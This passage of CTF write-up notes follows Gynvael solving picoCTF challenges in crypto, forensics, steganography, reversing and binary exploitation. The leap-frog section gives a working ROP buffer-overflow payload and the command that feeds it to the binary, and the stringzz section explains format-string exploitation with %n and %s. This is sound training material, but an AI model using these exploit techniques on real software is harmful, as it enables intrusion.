N: 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673
e: 3
ciphertext (c): 2205316413931134031074603746928247799030155221252519872650101242908540609117693035883827878696406295617513907962419726541451312273821810017858485722109359971259158071688912076249144203043097720816270550387459717116098817458584146690177125
If the ciphertext is short and e is small, than you can run root e on the ciphertext.
Since Ciphertext = m^e mod N
, if e is small then it’s possible that the following condition is true m^e < N
. If m^e < N
is true, then the mod N basically has no effect, so essentially ciphertext = m^e
. So you can get m by doing root e of ciphertext.
Use python
It sort of works. Python’s pow method uses doubles when doing a root so we lose some precision which is why it doesn’t work all the way.
If you wanted to implement the above on your own you would try solving the following equation: c - m ** e = 0
in a programmatic way (called bisection).
Lack of padding is also something wrong with the ciphertext.
mus1c - General Skills
Looks like an esoteric programming language challenge.
Rockstar programming language.
Gynvael uses this Rockstar to Rust online interpreter first, but it doesn’t seem to parse everything correctly.
Gynvael tries the official compiler instead.
We get the following output:
114
114
114
111
99
107
110
114
110
48
49
49
51
114
Program completed in 195 ms
Use python to convert it to ascii
shark on the wire 2 - Forensics
Lots of red herrings that Gynvael spent time on. Gynvael tries a lot of approaches.
Gynvael uses network miner, doesn’t find too much.
Use strings
Use wireshark to look for that pico string. Gynvael notices that for UDP packets of length 1, there seems to be a character being sent. It looks like they’re being sent to different hosts. Gynvael finds a fake flag on one of the hosts and decides to filter by destination ip 10.0.0.12 using the data.len==1 and ip.dst == 10.0.0.12
filter. However, it seems like some of the packets are sent from different sources, so he thinks the flag is split between different streams.
Different approach: filter by data.len ==1
. File-> Export Packet Dissection as Json (only displayed packets, Packet bytes, all expanded).
Use python:
This just dumps the data and the src and dst ip.
This doesn’t really get us anywhere. Gynvael tries sorting by destination ip and source ip but gets nowhere.
Instead of filtering by data.len of 1, just filter out any non udp traffic: udp and not mdns and not ssdp and not llmnr
. Export data as before and save as json. Gynvael thinks the last number of some source IP addresses are ascii characters that will make up the flag. For example some IP addresses are 10.0.0.66. 66 could be ascii ‘B’.
Use python to get the source IP addreses of the packets and see if the last decimal is ascii. If it is ascii then combine the chars to make a flag:
This doesn’t seem to be the flag, so the aproach above is probably wrong.
New idea. Some of the ports are weird. Some ports are like 5112 or like 5097. If we get rid of the 5, we can get 112 or 97, which are ascii printable. Let’s take all the packets with udp ports greater than 5000 and then get rid of the 5. Then we can try converting the ports-5000 to ascii printable characters to see if the characters will form the flag:
The above ouput looks very close to the flag, except that it has a bunch of a’s. Let’s just get rid of the a’s.
When we submit picoCTF{p1LLf3r3d_dt_v1_st3g0}
as the flag, it seems to be incorrect. We probably removed too many a’s. With a bit of guesing we figure out that that the dt
part of the flag should be data
and that v1
should be v1a
(via), which makes the actual flag picoCTF{p1LLf3r3d_data_v1a_st3g0}
.
leap-frog - Binary Exploitation
NX enabled means stack is writeable but not executable and No PIE means no ASLR.
gets() is still the vulnerable code in vuln(). This means we can still use \x00 bytes.
Our goal is to execute the display_flag() function:
It looks like it looks to see if these global variables are set (non-zero):
These functions are provided to set the above variables, but we don’t have to use them:
Setting arguments is boring according to Gynvael, so he wants to use gets() on the address of win1 to set all 3 global variables since they are adjacent to each other in memory. Then we can just call the display_flag() function. If we look at the assembly we see that test %al,%al
is used to check the global variables. This only tests to make sure the global vars are non zero, so we can use any non zero value to overwrite the 3 global variables.
Find the address of gets() using IDA or objdump or Ghidra.
The address of gets is 0x08048430. The address of display_flag is 0x080486b3. Gynvael uses IDA to look for the address of win1, but you can use gdb as well:
So 0x804a03d is the address of win1.
Let’s look at the assembly for vuln() so we know what the stack will look like after the gets() call (you can use objdump or IDA like Gynvael does)
Here is what we want the stack to look like:
[ buf buffer + other stuff ]
[ address of gets() ] # When ret is called when vuln() returns, this address will be popped off the stack
[ address of display_flag()] # This is what is popped into eip after and executed after gets() returns
[ address of win1 ] # This is the argument of gets()
Here’s the exploit:
\x30\x84\x04\x08\xb3\x86\x04\x08\x3d\xa0\x04\x08\nABC\n # New lines are so that get stops getting input
We need some padding to overflow the buffer (Gynvael uses IDA to look at the stack and determine the amount needed):
AAAAAAAAAAAAAAAABBBBCCCCDDDD\x30\x84\x04\x08\xb3\x86\x04\x08\x3d\xa0\x04\x08\nABC\n`
Use echo to send it to the binary:
Get the flag:
$ echo -e -n 'AAAAAAAAAAAAAAAABBBBCCCCDDDD\x30\x84\x04\x08\xb3\x86\x04\x08\x3d\xa0\x04\x08\nABC\n' | ./rop
Enter your input> picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_8783895b}
Segmentation fault (core dumped)
If we wanted to do it “properly”, we would first put the address of leapA(), then the middle of leap3(), then leap2() with the right arguments and bytes (since there will be pop ebp instructions). Since leap3 has a mov ebx, ebp + 4
, we would just have to put an address that is actually readable so the program doesn’t crash.
A viewer asked if it’s possible to jump to directly into the display_flag(). It might be possible since the program stores the flag in memory even before it checks if the win vars were set. However, it probably would be difficult due to a few reasons. One is that ASLR still affects the stack, just not the binary.
reverse_cipher - Reverse Engineering
We get a file and a x64 binary. The rev file contains part of the flag:
Gynvael uses IDA to look at at the binary and sees that it appends to the rev_this file.
Part of the decompilation (using Ghidra since I don’t have IDA):
Reads 24 bytes or 0x18 bytes
Just copies first 8 bytes
The following just checks whether the index is even or odd. If it’s odd it decrements by 2 and if it’s even it adds 5. Do this for the rest of the bytes in flag:
Use python to reverse the operations above (add instead of subtract, subtract instead of add):
stringzz - Binary Exploitation
All protections are enabled :)
Source:
printMessage1(input);
basically calls printf(input) which is the format string bug. In order to be able to exploit the format string vulnerability, you need to be able to control the format string (input
in this case) and also the stack after input
.
Some handy format strings for exploitation:
%7$s
takes the 7th item on the stack and reads from that address
%n
writes an int
%hn
writes a short
%hhn
writes a byte
You write the number of outputted bytes using the %n above.
E.g. printf("AAAA%n", asdf)
would write 4 bytes to asdf
This line of code puts the address of the flag onto the stack which fulfills the requirement listed above.
Let’s test the program:
Since a
is printed out, it means that there was a decimal 10 somewhere on the stack. This shows us that there is indeed a format string vulnerability in the program.
This tries to read from the first thing on the stack. It crashes because the program is trying to read from address 0xa.
Now we can just incrementing the 1 in '%1$s'
until we find the location of the flag.
and so on…
Gynvael keeps doing this until he gets to 37:
If you needed to, you could probably just script it to make it faster.
Investigative Reversing 1 - Forensics
If you look at the ends of the 3 pngs given, you’ll notice that there seems to be parts of the flag at the end of the file.
PNGs are encoded in chunks which contain the size, name, and checksum of the chunks. At the end of the PNGs, each PNG has a chunk ending in the the same checksum: AE 42 60 82
. So anything after these bytes are part of the flag. Here are the ending bytes from each of PNGs:
mystery.png: CF{An1_37d24ffd}
mystery1.png: 0x85 0x73
mystery2.png: icT0tha_
Now open the binary in IDA (or ghidra) and decompile:
Opens the files:
Reads the flag.txt:
The following just takes three chars of the flag and output into h, or mystery3.png:
Then this takes chars from 10 to 14 and put it in h (mystery3.png)
That means 0tha_
are the 10th to 14th chars from flag.txt.
The flag should look something like this:
picoCTF{AAAAAAAAAAAAAAAAAAAAAAAAA}
where the A’s are just placeholder characters.
Now that we know that 0tha_
is from index 10 to 15, then we can replace the A’s to form the following:
picoCTF{AA0tha_AAAAAAAAAA}
This takes characters from index 6 to 9 from flag.txt and writes to f (mystery.png):
That means that the chars from above would look something like F{AA
which matches closely with F{An
from mystery.png. So we combine that with what we have already for the flag:
picoCTF{An0tha_AAAAAAAAAA}
This goes from 15 to the end of the flag and appends it to the end of f (mystery.png):
So we know that 1_37d24ffd}
is from 15 to the end of the flag. When we combine it we get this:
picoCTF{An0tha_1_37d24ffd}
And there’s the flag.
pastaAAA - Forensics
We get a PNG of some pasta. Gynvael notices that there is some weird banding (gradients that are not smooth color transitions) on the right side of the image, which means there’s something weird that happened.
Looking in a hexeditor shows that there are normal headers and the end is normal.
A good technique Gynvael recommends is to run a reverse image search on the image for CTFs to see if you can find the original image. The first search image doesn’t work too well (image.google.com). But [https://tineye.com] is a search engine that looks for images that look identical to the one that you give. He finds that the image is just a stock image and so it doesn’t look like the reverse image search won’t do any good for this challenge.
When inspecting the image a second time, Gynvael notices a ‘p’ towards the left of the image. The challenge is more of a steganography challenge rather than a file format challenge.
Open up the image in GIMP and do some “Image magic.”
Colors -> Curves. Notice that the image is highly segmented. We see some letters, but we can’t seem to get the full flag.
Use GIMP to save the png as a .raw (planar).
Use python to try separating the bit planes:
Open the raw image as planar 24 bpp (3 bytes per pixel) as a 826x620 image. The bottom 3 planes seem to contain the flag. Change the script to only get the bottom 3 planes and combine them:
Open the output.raw file (Gynvael seems to use IrfanView).
In this steganography challenge, data was hidden in the least 3 significant bits. The banding we saw earlier was because the detail was lost with the removal of these 3 bottom bits per pixel.
Random other stuff Gynvael says about solving ctf challenges during the stream
- He recommends kaitai struct for stegno challenges (Part 1: 46:39)
- Recommends pdfstreamdumper
- Thumbnails can store info
- For network dumps there are two main tools: Wireshark and NetworkMiner
- Gynvael recommends working on ctf challenges remotely in most cases since in many cases an exploit could work locally but not remotely (like in the above case).
- On 64-bit binary exploitation challenges, when passing parameters to functions, ROP is usually the way to get the proper values into registers.
- calling exit() still means the destructors are still called. An attacker can use the destructor call to their advantage. Use _exit instead with the underscore.
- In part 5, Gynvael mentions a security bug called Http parameter pollution. While looking at JSON data, Gynvael points out how when there are keys with the same name, then there could be a security bug since some parsers might just return the first key-value pair while another parser might return the second key-value pair.
- According to Gynvael there are only certain operations used for standard reverse engineering challenges:
- add sub
- rol ror (rotate bits (not same as shift))
- xor
FILE *f = fopen("flag.txt","r");
can make a the flag appear in a buffer in libc. There’s a buffer for a given file in libc.
TODO
- Fix all the weird non ascii apostrophes and double quotes
2020-05-14 00:58 +0000 (Last updated: 2022-12-19 22:21 +0000)